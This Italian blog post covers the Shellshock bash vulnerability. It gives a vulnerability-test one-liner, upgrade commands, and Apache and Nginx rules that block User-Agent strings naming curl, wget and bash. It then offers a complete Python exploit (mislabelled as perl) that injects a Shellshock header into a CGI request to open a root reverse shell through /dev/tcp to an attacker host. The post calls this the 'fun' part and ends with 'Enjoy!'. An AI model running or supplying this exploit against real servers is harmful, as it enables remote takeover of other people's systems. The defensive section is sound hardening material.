sabato , settembre 22 2018
Ultime Notizie
Home / Linux / Shellshock Bash – Protect & Attack

Shellshock Bash – Protect & Attack

Ciao Ragazzi,

il titolo in Inglese serve per dare più impatto a questo articolo uscito qualche giorno dopo la famosa scoperta di “Shellsock”.

Cos’è Shellshock

Per chi non lo sapesse è il nome che è stato dato ad una delle vulnerabilità più gravi, a mio parere la più grave, finora scoperte su sistemi Linux.

La Shell bash è quella che ormai è più diffusa e presente su tutti i sistemi principali usati sia come Server, ma anche come Client (vedi i vari Ubuntu, Linux Mint etc.)

Questa vulnerabilità è legato a quei sistemi che hanno applicativi tali da permettere modifiche non autorizzate ad utenti remoti…vi faccio un paio di esempi:

  • Apache Server che eseguono script CGI;
  • Alcuni client DHCP
  • Server SSH che usano il comando ForceCapability

Test di Sistema

Di seguito vi mostro un semplice script per effettuare il test del vostro sistema:

env 'VAR=() { :;}; echo Bash è vulnerabile!' 'FUNCTION()=() { :;}; echo Bash è vulnerabile!' bash -c "echo Bash Test"

Finchè vedete solo la scritta “Bash Test” vuol dire che il vostro sistema è al sicuro!Bravi lo aggiornate spesso!

Se invece vedete la scritta “Bash è vulnerabile” significa che bisogna correre ai ripari con una certa urgenza.

Per correre ai ripari la prima cosa da fare è aggiornare i vostri repository (se ad esempio usate una distribuzione vecchia non aggiornata) con le versioni LTS (es. Debian Squeeze)

Altrimenti vi conviene lanciare subito un:

apt-get update
apt-get dist-upgrade

Ovviamente io vi parlo in linguaggio Debian, per gli altri sistemi l’aggiornamento dei repository è analogo.

Se vogliamo solo aggiornare il pacchetto Bash, allora:

apt-get update
apt-get install bash

Aggiornamento: per la versione 3 del bug, è necessario effettuare anche modifiche sul web server per evitare le richieste tramite HTTP header.

Le operazioni da fare sono:

Apache

a2enmod setenvif
 
####Editare il file apache2.conf o httpd.conf aggiungendo come segue:
 
SetEnvIfNoCase User-Agent "/bin/" get_lost
SetEnvIfNoCase User-Agent "/sbin/" get_lost
SetEnvIfNoCase User-Agent "curl" get_lost
SetEnvIfNoCase User-Agent "cat" get_lost
SetEnvIfNoCase User-Agent "ping" get_lost
SetEnvIfNoCase User-Agent "bash" get_lost
SetEnvIfNoCase User-Agent "shellshock" get_lost
SetEnvIfNoCase User-Agent "wget" get_lost
 
<Location />
  Order Allow,Deny
  Deny from env=get_lost
  Allow from all
</Location>

Nginx

Dentro il codice http{} inserire:

map $request $shellshockblock {
default 0;
~*\:\; 1;
~*ping 1;
~*\/bash 1;
}

Dentro il codice location{} inserire:

if ($shellshockblock) { return 412; }

Finita la parte di “Difesa” passiamo alla parte di “Attacco” che è anche quella più divertente…Mi raccomando il codice che vi do è al solo scopo dimostrativo. Non fate danni!

Ecco come attaccare, tramite uno script perl un server con vulnerabilità bash per ottenere una shell di root:

#
    #CVE-2014-6271 cgi-bin reverse shell
    #
 
    import httplib,urllib,sys
 
    if (len(sys.argv)<4):
            print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
            print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
            exit(0)
 
    conn = httplib.HTTPConnection(sys.argv[1])
    reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
 
    headers = {"Content-type": "application/x-www-form-urlencoded",
            "test":reverse_shell }
    conn.request("GET",sys.argv[2],headers=headers)
    res = conn.getresponse()
    print res.status, res.reason
    data = res.read()
    print data

Oppure potete fare riferimento a questa pagina http://shellshock.brandonpotter.com/

Enjoy!

Info Paolo Daniele

Ingegnere delle Telecomunicazioni, appassionato di informatica fin da piccolo ho trasformato la passione in lavoro. Con il PHP faccio tutto (o quasi...) ma non disprezzo altri linguaggi all'occorrenza. Se vi piace il mio sito, o vi è utile, o vi sto simpatico, offritemi una birra!

Ti potrebbe interessare

Proxmox: Spostare LVM tra due server

Ciao Ragazzi, oggi vi spiego come migrare un LVM da un server ad un altro. …

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *